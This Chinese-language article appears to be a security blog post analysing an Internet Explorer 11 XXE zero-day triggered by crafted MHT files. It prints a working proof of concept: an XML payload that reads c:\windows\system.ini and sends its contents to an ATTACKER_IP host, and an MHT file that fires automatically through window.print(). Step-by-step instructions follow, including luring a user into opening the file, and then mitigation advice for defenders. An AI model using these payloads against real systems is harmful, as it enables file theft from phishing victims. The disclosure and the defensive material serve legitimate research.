高危 0day! 微软拒绝修复,研究员公开 IE 浏览器 0day 详情和 PoC
字数 1370 2025-08-18 11:38:28
Microsoft Internet Explorer XXE 0day漏洞分析与利用指南
漏洞概述
本漏洞是一个存在于Internet Explorer 11浏览器中的XML外部实体注入(XXE)漏洞,影响Windows 7、10和Server 2012 R2系统。该漏洞通过特殊构造的MHT文件触发,可导致攻击者窃取本地文件并侦察系统信息。
漏洞技术细节
漏洞类型
- XML外部实体注入(XXE)
- 影响IE处理MHT文件的方式
受影响系统
- Windows 7 (完整补丁)
- Windows 10 (完整补丁)
- Windows Server 2012 R2 (完整补丁)
- Internet Explorer 11 (最新版本)
攻击向量
- 用户本地打开特制的.MHT文件
- 文件可通过钓鱼邮件、恶意网站等方式传播
漏洞触发条件
- 用户打开恶意.MHT文件
- 文件在本地系统执行(非网络下载)
- 触发方式:
- 用户交互:重复选项卡(Ctrl+K)
- 右击网页选择"打印预览"或"打印"
- 通过window.print() JavaScript函数自动触发(无需用户交互)
漏洞利用原理
MHT文件结构
MHT(MHTML Web Archive)是IE浏览器保存网页的默认格式,包含:
- 多部分MIME消息结构
- XML实体声明
- 恶意XXE载荷
XXE注入点
漏洞存在于IE解析MHT文件中的XML部分时:
- 文件包含外部实体声明
- 实体引用本地系统文件(如c:\windows\system.ini)
- 通过HTTP请求将文件内容外泄到攻击者服务器
绕过安全机制
- 不显示ActiveX安全警告
- 不提示活动内容安全栏
漏洞利用步骤
准备工作
- 攻击者服务器(Python SimpleHTTPServer)
- 生成两个恶意文件:
- datatears.xml (XXE载荷)
- msie-xxe-0day.mht (触发文件)
利用代码分析
datatears.xml
<!ENTITY % data SYSTEM "c:\windows\system.ini">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://ATTACKER_IP:PORT/?%data;'>">
<!ENTITY % data SYSTEM "file:///c:/windows/system.ini">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://ATTACKER_IP:PORT/?%data;'>">
msie-xxe-0day.mht
From:
Subject:
Date:
MIME-Version: 1.0
Content-Type: multipart/related; type="text/html";
boundary="=_NextPart_SMP_1d4d45cf4e8b3ee_3ddb1153_00000001"
This is a multi-part message in MIME format.
--=_NextPart_SMP_1d4d45cf4e8b3ee_3ddb1153_00000001
Content-Type: text/html; charset="UTF-8"
Content-Location: main.htm
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/transitional.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>MSIE XXE 0day</title>
</head>
<body>
<xml>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://ATTACKER_IP:PORT/datatears.xml">
%sp;
%param1;
]>
<r>&exfil;</r>
<r>&exfil;</r>
<r>&exfil;</r>
<r>&exfil;</r>
</xml>
<script>window.print();</script>
<table cellpadding="0" cellspacing="0" border="0">
<tr>
<td class="contentcell-width">
<h1>MSIE XML External Entity 0day PoC.</h1>
<h3>Discovery: hyp3rlinx</h3>
<h3>ApparitionSec</h3>
</td>
</tr>
</table>
</body>
</html>
--=_NextPart_SMP_1d4d45cf4e8b3ee_3ddb1153_00000001--
利用步骤
- 修改PoC代码中的攻击者IP和端口
- 生成恶意文件:
mk_msie_0day_filez("msie-xxe-0day.mht", mht_file) mk_msie_0day_filez("datatears.xml", xml_file) - 启动Python HTTP服务器:
python -m SimpleHTTPServer - 将datatears.xml放在服务器web根目录
- 诱使用户打开msie-xxe-0day.mht文件
- 服务器接收外泄的文件内容
防御措施
临时缓解方案
- 禁用IE浏览器打开MHT文件
- 修改文件关联,使用其他程序打开MHT文件
- 禁用IE浏览器XML处理功能
- 使用组策略限制IE活动内容执行
长期解决方案
- 升级到Microsoft Edge浏览器
- 禁用或卸载IE浏览器(如系统允许)
- 教育用户不要打开未知来源的MHT文件
企业防护建议
- 邮件网关过滤MHT附件
- 终端防护软件监控可疑文件操作
- 网络流量监控检测异常HTTP请求
微软响应情况
- 2019年3月27日:漏洞报告确认
- 2019年4月10日:微软拒绝修复,称"将在未来版本考虑"
- 漏洞状态:未修复
影响评估
- 尽管IE市场份额下降(约7.34%),但风险仍然存在
- Windows默认使用IE打开MHT文件
- 历史上有利用MHT文件进行鱼叉式钓鱼攻击的案例
参考资源
免责声明
本文档仅用于安全研究和教育目的。未经授权使用此信息进行攻击是非法的。作者和发布者不对任何滥用行为负责。